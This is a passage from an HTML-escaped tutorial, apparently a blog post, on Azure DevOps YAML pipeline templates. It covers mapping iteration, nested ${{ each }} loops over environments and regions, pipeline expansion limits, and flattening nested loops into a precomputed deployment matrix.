- \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ region.key }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esubscriptionId\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ region.value.subscriptionId }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(region.value.blueGreen, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Blue-green deploy to ${{ region.key }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Blue-green deployment\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#ae81ff\"\u003e${{ else }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Rolling deploy to ${{ region.key }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Rolling deployment\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAccess nested properties via \u003ccode\u003eregion.value.subscriptionId\u003c/code\u003e, \u003ccode\u003eregion.value.tier\u003c/code\u003e, and \u003ccode\u003eregion.value.blueGreen\u003c/code\u003e — the same dot-notation as object array iteration, just with the \u003ccode\u003evalue.\u003c/code\u003e prefix between the loop variable and the nested property.\u003c/p\u003e\n\u003ch3 id=\"when-to-use-mappings-vs-arrays-of-objects\"\u003eWhen to Use Mappings vs. Arrays of Objects\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eCriterion\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003eUse a mapping\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003eUse an array of objects\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eKey is a natural unique identifier (region code, tenant ID)\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e✓\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eKey appears in stage names or resource references\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e✓\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eIteration order is irrelevant\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e✓\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eItems have no natural unique key\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e✓\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eInsertion order must be preserved\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e✓\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eItems need explicit \u003ccode\u003edependsOn:\u003c/code\u003e for sequencing\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e✓\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eItems will be passed as a \u003ccode\u003ejobList\u003c/code\u003e with \u003ccode\u003etemplateContext\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e✓\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eThe \u003ccode\u003etemplateContext\u003c/code\u003e bridge works with array items passed as \u003ccode\u003ejobList\u003c/code\u003e — it does not apply to mapping values.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"nested--each--loops\"\u003eNested \u003ccode\u003e${{ each }}\u003c/code\u003e Loops\u003c/h2\u003e\n\u003ch3 id=\"the-valid-pattern--two-levels-deep\"\u003eThe Valid Pattern — Two Levels Deep\u003c/h3\u003e\n\u003cp\u003eTwo levels of \u003ccode\u003e${{ each }}\u003c/code\u003e are reliable and cover most multi-dimensional deployment scenarios. An outer loop over environments, an inner loop over the regions within each environment, generates one stage per environment-region combination.\u003c/p\u003e\n\u003cp\u003eThe outer binding stays in scope inside the inner loop. Use both bindings to build compound identifiers:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregions\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ecode\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ecode\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewesteu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregions\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ecode\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-staging-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ecode\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewesteu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-staging-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregions\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ecode\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ecode\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewesteu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ecode\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapsouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod-apsouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each region in env.regions }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.name }}_${{ region.code }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;${{ env.name }} — ${{ region.code }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.name }}-${{ region.code }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  echo \u0026#34;Environment: ${{ env.name }}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  echo \u0026#34;Region: ${{ region.code }}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  echo \u0026#34;Service connection: ${{ region.serviceConnection }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy ${{ env.name }} to ${{ region.code }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis parameter definition — 2 dev regions, 2 staging regions, 3 prod regions — generates 7 stages. Adding a fourth environment with two regions produces 9 stages with no template changes.\u003c/p\u003e\n\u003ch3 id=\"the-template-expansion-limit\"\u003eThe Template Expansion Limit\u003c/h3\u003e\n\u003cp\u003eAzure DevOps caps several dimensions of the expanded pipeline:\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eLimit\u003c/th\u003e\n          \u003cth\u003eValue\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eJobs per stage\u003c/td\u003e\n          \u003ctd\u003e256\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eTotal jobs in pipeline\u003c/td\u003e\n          \u003ctd\u003e1,000\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eSteps per job\u003c/td\u003e\n          \u003ctd\u003e1,000\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eTemplate files per pipeline\u003c/td\u003e\n          \u003ctd\u003e100\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eExpanded YAML size\u003c/td\u003e\n          \u003ctd\u003e10 MB\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eMax expression length\u003c/td\u003e\n          \u003ctd\u003e20,000 characters\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eThe 256-jobs-per-stage limit is the one nested loops most often hit. Each iteration of an inner loop that generates a job within a single stage counts toward this limit. A 3-environment × 10-region matrix at the job level generates 30 jobs per stage — well under the cap. A 20-environment × 15-region matrix generates 300 jobs per stage, and the pipeline parse fails:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eThe pipeline has exceeded the maximum number of generated jobs (256).\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eCalculate expected output before committing to nested loops: outer items × inner items = total generated stages or jobs. Leave headroom for the rest of the pipeline.\u003c/p\u003e\n\u003cp\u003eThree levels of nesting (\u003ccode\u003e${{ each }}\u003c/code\u003e inside \u003ccode\u003e${{ each }}\u003c/code\u003e inside \u003ccode\u003e${{ each }}\u003c/code\u003e) hits template expansion timeouts before the item count limit. Four levels is not a reliable pattern in production pipelines.\u003c/p\u003e\n\u003ch3 id=\"flattening-deep-nesting\"\u003eFlattening Deep Nesting\u003c/h3\u003e\n\u003cp\u003eWhen the data is naturally hierarchical (tier → region → service), the loop representation matches the data shape. The execution result is a flat list of independent stages. Pre-compute that flat list in the parameter definition and replace deep nesting with a single \u003ccode\u003e${{ each }}\u003c/code\u003e over the pre-computed combinations.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Before: three-level nested loop — parse-time heavy, hits expansion limits\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each tier in parameters.tiers }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each region in parameters.regions }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003e${{ each service in parameters.services }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ tier.name }}_${{ region.code }}_${{ service.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ tier.name }}-${{ region.code }}-${{ service.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# ...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# After: single-level loop over a pre-computed flat array\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployMatrix\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eservice\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-eastus-api\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eservice\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eworker\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-eastus-worker\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewesteu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eservice\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-westeu-api\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eservice\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod-eastus-api\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eservice\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eworker\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan 